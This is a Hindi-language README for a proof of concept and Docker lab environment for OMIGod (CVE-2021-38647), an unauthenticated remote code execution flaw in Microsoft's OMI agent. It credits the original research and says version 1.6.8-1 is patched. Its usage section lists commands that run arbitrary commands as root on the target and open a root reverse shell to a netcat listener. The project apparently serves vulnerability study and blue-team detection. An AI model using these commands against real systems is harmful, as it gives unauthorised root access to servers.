
OMIGod / CVE-2021-38647 POC और डेमो वातावरण
Open Management Infrastructure (OMI, पूर्व में NanoWBEM) Microsoft और The Open Group द्वारा विकसित एक ओपन सोर्स कॉमन इंटरफेस मॉडल (CMI) प्रबंधन सर्वर है। OMI एक सॉफ्टवेयर एजेंट है जो अधिकांश Azure Linux VMs पर पाया जाता है, फिर भी कई लोगों को इसकी उपस्थिति के बारे में पता नहीं है।
14 सितंबर को Wiz Research Team ने OMI में चार कमजोरियों के विवरण वाला एक लेख प्रकाशित किया। इन कमजोरियों को exploit करना आसान बताया गया है, और ये हमलावरों को एक ही request के साथ मनमाना remote code execution और root तक escalation की अनुमति दे सकती हैं।
CVE-2021-38647 एक बिना प्रमाणीकरण वाली RCE कमजोरी है जिसे एक विशेष रूप से तैयार HTTP request भेजकर exploit किया जाता है। CVE-2021-38647 किसी हमलावर को OMI एजेंट के उपयोगकर्ता के रूप में command चलाने की अनुमति देता है, जो सामान्यतः root होता है।
OMI एजेंट Azure Linux सर्वरों पर व्यापक रूप से उपयोग किए जाते हैं जब ये सेवाएँ उपयोग में होती हैं:
Microsoft के अनुसार, OMI का उपयोग करने वाली अधिकांश Azure सेवाएँ इसे बिना HTTP/S port को expose किए deploy करती हैं।
इस परियोजना का लक्ष्य OMI के असुरक्षित संस्करण के साथ एक कस्टम docker image सेट अप करके एक आसानी से प्रतिलिपि योग्य डेमो वातावरण बनाना है ताकि Blue teams अधिक आसानी से IoC's खोज सकें।
आपके सेटअप के आधार पर, इसके लिए sudo की आवश्यकता हो सकती है।
# Building the docker container
docker build . -t omi-god
# Running it
docker run --name=omi-god -it omi-god
अब आपके पास docker कंटेनर के लिए root टर्मिनल होगा। आपको docker कंटेनर का IP पता प्राप्त करना चाहिए, जो निम्न command से किया जा सकता है:
# Add it to clipboard
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2 | xclip -selection clipboard
# Show it in terminal
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2
जब यह सेट अप हो जाए, तो आप कोई भी PoCs चलाने का प्रयास कर सकते हैं। इस परियोजना में वाले PoC को चलाने के लिए, निम्न command चलाएँ:
# Execute any command as root
python3 omigod.py -t 172.17.0.2 -c id
-> uid=0(root) gid=0(root) groups=0(root)
# Get a reverse shell as root on the server
python3 omigod.py -t 172.17.0.2 -r -l 172.17.0.1 -p 4444 & nc -lnvp 4444
इस exploit और समान वातावरण सेट करने के संबंध में IppSec का वीडियो - https://www.youtube.com/watch?v=TXqi1BKtcyM इस परियोजना में सेट किया गया वातावरण IppSec के वीडियो पर आधारित है।
horizon3ai PoC - https://github.com/horizon3ai/CVE-2021-38647 इस परियोजना का PoC horizon3ai के PoC पर आधारित है।
अधिक विवरण के लिए मूल शोधकर्ताओं का कार्य देखें: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
v1.6.8-1 से नीचे के सभी OMI संस्करण असुरक्षित हैं।
इस exploit को ठीक करने वाला एक पैच किया गया संस्करण प्रकाशित किया गया है। अपडेट करें और सुनिश्चित करें कि संस्करण 1.6.8.1 या उससे ऊपर है।
यह सॉफ्टवेयर केवल शैक्षणिक अनुसंधान और प्रभावी रक्षात्मक तकनीकों के विकास के उद्देश्यों के लिए बनाया गया है, और इसे स्पष्ट रूप से अधिकृत स्थानों को छोड़कर सिस्टम पर हमला करने के लिए उपयोग करने का इरादा नहीं है। परियोजना अनुरक्षक इस सॉफ्टवेयर के दुरुपयोग के लिए जिम्मेदार या उत्तरदायी नहीं हैं। जिम्मेदारी से उपयोग करें।